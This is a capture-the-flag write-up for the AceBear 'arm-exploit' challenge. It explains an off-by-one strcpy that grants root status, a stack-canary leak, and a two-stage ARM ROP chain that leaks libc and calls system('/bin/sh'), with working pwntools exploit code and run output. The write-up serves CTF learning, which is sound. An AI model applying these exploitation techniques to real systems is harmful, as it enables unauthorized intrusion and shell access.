arm-exploit (13 Solves) (856 points)

Attachment: arm-exploit libc-2.19.so xpl.py

Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
**************************Welcome to Arm Exploit**************************
*                                                                        *
*************************Challenge Created By CNV*************************
*   Team: AceBear                                                        *
*   My blog: https://chung96vn.blogspot.com/                             *
**************************************************************************
*******************Arm Exploit******************
*                                              *
* 1 - info                                     *
* 2 - login                                    *
* 3 - echo                                     *
* 4 - change username                          *
* 5 - exit                                     *
************************************************
Your choice: 2
Username: AAAABBBB
password: CCCCDDDD
Guest logined!
*******************Arm Exploit******************
*                                              *
* 1 - info                                     *
* 2 - login                                    *
* 3 - echo                                     *
* 4 - change username                          *
* 5 - exit                                     *
************************************************
Your choice: 1
**************************User Info***************************
*                                                            *
*Username: AAAABBBB
**************************************************************
*                                                            *
*State: 1
**************************************************************
...
Your choice: 3
Welcome guest echo!
guest@arm-exploit:~$ help
List command:
$ echo argument
$ exit
$ help
guest@arm-exploit:~$ 

So, in this challenge we have a little echo service.

But since we’re marked as a guest we’re only allowed to use the guestecho:

int guestecho()
{
  int result; 
  char buf; 
  
  while ( 1 )
  {
    printf("guest@arm-exploit:~$ ");
    secure_read(&buf, 64);
    result = strcmp(&buf, "exit");
    if ( !result )
      break;

    if ( !strcmp(&buf, "help") )
    {
      puts("List command:");
      puts("$ echo argument");
      puts("$ exit");
      puts("$ help");
    }
    else if ( !memcmp(&buf, "echo ", 5) )   
      puts((&buf+5));
    else
      puts("Invalid Command! Try help");
  }

  return result;  
}

There’s also a rootecho which only differs in the amount of read bytes:

int rootecho()
{
  int result; 
  char buf; 
  
  while ( 1 )
  {
    printf("guest@arm-exploit:~$ ");
    secure_read(&buf, 256);           // <= buffer overflow
    result = strcmp(&buf, "exit");
    if ( !result )
      break;

    if ( !strcmp(&buf, "help") )
    {
      puts("List command:");
      puts("$ echo argument");
      puts("$ exit");
      puts("$ help");
    }
    else if ( !memcmp(&buf, "echo ", 5) )   
      puts((&buf+5));
    else
      puts("Invalid Command! Try help");
  }

  return result;  
}

While we cannot do much mischief with the guestecho function, the rootecho function would allow us to do a buffer overflow.

So, first let’s find out, how to get root:

void login()
{
  char buf; 
  
  printf("Username: ");
  secure_read(user, 32);
  printf("password: ");
  secure_read(&buf, 32);

  if ( !memcmp(&buf, &pass, 0x10) && !strcmp(user, "root") )
  {
    puts("Admin logined!");
    IS_GUEST = 0;
  }
  else
  {
    puts("Guest logined!");
    IS_GUEST = 1;
  }

  logined = 1;
  return result;
}

The password is generated from /dev/urandom, so don’t even try guessing it.

.bss:0002209C user            
.bss:0002209C                 
.bss:000220BC IS_GUEST        

So, the IS_GUEST variable is stored 32 bytes behind the username and is set to 1 if we’re not admin. Since IS_GUEST is set, after we entered the username, we won’t be able to change it here.

But there is also a change_username function:

void change_username()
{
  char buf;
    
  if ( !logined ) {
    puts("You must login!");
    return;
  }

  memset(&buf, 0, 48);
  printf("New username: ");
  secure_read(&buf, 32);
  strcpy(user, &buf);
  
  puts("Change username done!");
}

So, it reads 32 bytes again for the username and then strcpys it to the user variable.

But if we enter exactly 32 bytes, strcpy will copy the string together with the following null-terminator into user, and since IS_GUEST is exactly at user+32 it will be overwritten with the null-terminator (effectively setting it to 0).

#!/usr/bin/python
from pwn import *
import sys

HOST = "armexploit.acebear.site"
PORT = 3001

def login(user,pw):
  r.sendline("2")
  r.sendlineafter("Username: ", user)
  r.sendlineafter("password: ", pw)
  r.recvuntil("Your choice: ")

def changename(name):
  r.sendline("4")
  r.sendafter("username: ", name)
  r.recvuntil("Your choice: ")

def exploit(r):
  r.recvuntil("Your choice: ")

  login("guest", "abc")

  log.info("Get root")

  changename("A"*32)
  changename("root")

  r.interactive()
  
  return

if __name__ == "__main__":
  e = ELF("./arm-exploit")
  libc = ELF("./libc-2.19.so")

  if len(sys.argv) > 1:
    r = remote(HOST, PORT)
    exploit(r)
  else:
    r = process("./arm-exploit")
    print util.proc.pidof(r)
    pause()
    exploit(r)
$ python work.py 
[+] Starting local process './arm-exploit': pid 27835
[27835]
[*] Paused (press any to continue)
[*] Get root
[*] Switching to interactive mode
$ 3
Welcome root echo!
root@arm-exploit:~$ $  

So, now that we can use rootecho it’s time for ropping… Oh well, there’s still a canary to defeat, before we really can do something.

Since canaries end/start with a null byte, we cannot just align our input with the canary but have to partial overwrite it (otherwise our output would just stop before that null byte).

While overwriting the canary would mostly crash the application, we’re lucky here, that the rootecho function doesn’t return until we enter exit.

So, we can overwrite the lowest byte of the canary (we know, that it’s \x00, so that’s no problem) and echo it.

log.info("Leak canary")

enter_echo()
LEAK = send_echo("A"*124)
CANARY = u32("\x00" + LEAK[124:127])

log.info("CANARY         : %s" % hex(CANARY))

Since we’re still in the rootecho function, we can now repair the canary again and write a ropchain before leaving it.

But since ASLR is active, we don’t know any good addresses to rop to, so we need to leak libc in the first stage:

"""
POP3RPC         => pop {r3, pc}; 
POPR45678SBSLPC => pop {r4, r5, r6, r7, r8, sb, sl, pc};
MOVR0R7GOR3     => mov r0, r7; blx r3;
"""

log.info("Stage 1 : Leaker ropchain")

payload = "A"*123
payload += p32(CANARY)
payload += p32(0xdeadbeef)
  
payload += p32(POPR3PC)
payload += p32(e.plt["puts"])
payload += p32(POPR45678SBSLPC)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(e.got["puts"]) # R7
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(MOVR0R7GOR3)
payload += "A"*(203-len(payload))
payload += p32(0x00010CFC)        # back to rootecho

send_echo(payload)

r.sendline("exit")                # Trigger ropchain
PUTS = u32(r.recv(4))
libc.address = PUTS - libc.symbols["puts"]

log.info("PUTS       : %s" % hex(PUTS))
log.info("LIBC       : %s" % hex(libc.address))

Didn’t find an easy way to set r0 for calling puts, so I used multiple gadgets to fill r0.

This ropchain will first put puts plt into r3 and then call the second pop gadget, which will fill r4 to r8 and then call

mov r0, r7; blx r3

Since we wrote e.got["puts"] to r7, this will write puts got to r0 and then call r3 (pointing to puts plt), thus printing puts got.

With this we can calculate the libc address and start the second stage executing something useful.

We’ll just use the same gadgets to execute system("/bin/sh"):

log.info("Stage 2 : Execute ropchain")

payload = "A"*123
payload += p32(CANARY)
payload += p32(0xdeadbeef)

payload += p32(POPR3PC)
payload += p32(libc.symbols["system"])
payload += p32(POPR45678SBSLPC)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(next(libc.search("/bin/sh")))  # R7
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(MOVR0R7GOR3)
payload += "A"*(203-len(payload))

send_echo(payload)

r.sendline("exit")        # Trigger ropchain

This time we’ll write system to r3, which will gets executed after our pop gadgets.

In the pop gadgets we’ll store the address of /bin/sh to r7=>r0, resulting in calling system("/bin/sh") when we exit the rootecho function.

$ python work.py 1
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/pi/arm/arm-exploit'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
[*] '/home/pi/arm/libc-2.19.so'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to armexploit.acebear.site on port 3001: Done
[*] Get root
[*] Leak canary
[*] CANARY         : 0xb5df6e00
[*] Stage 1 : Leaker ropchain
[*] PUTS       : 0xf66ea478
[*] LIBC       : 0xf6689000
[*] Stage 2 : Execute ropchain
[*] Switching to interactive mode
root@arm-exploit:~$ $ cat /home/arm_exploit/flag
AceBear{arm_i5_my_sad_m3m0ry}